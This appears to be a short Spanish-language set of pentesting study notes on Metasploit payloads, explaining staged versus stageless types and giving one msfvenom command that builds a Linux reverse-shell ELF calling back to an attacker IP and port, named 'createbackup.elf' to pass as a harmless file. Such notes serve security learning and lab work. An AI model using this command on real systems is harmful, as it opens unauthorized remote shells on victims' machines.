Payloads

Un payload suele ser el código o las instrucciones que aprovechan una debilidad en un sistema (la máquina víctima) para hacer algo no autorizado
Tipos
  • Staged (con etapas): Envía un pequeño fragmento inicial al objetivo que luego descarga el resto el payload desde la máquina atacante
  • Ejemplo: linux/x86/shell/reverse_tcp
  • Stageless (sin etapas): Envía todo el payload en un solo paso
  • Ejemplo: linux/zarch/meterpreter_reverse_tcp
Crear Payload Msfvenom
terminal
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
  • p: Define el tipo de payload.
  • LHOST y LPORT: Dirección IP y puerto de la máquina atacante.
  • f elf: Especifica el formato del payload (en este caso, ELF para Linux).
  • >: Guarda el payload como un archivo (createbackup.elf).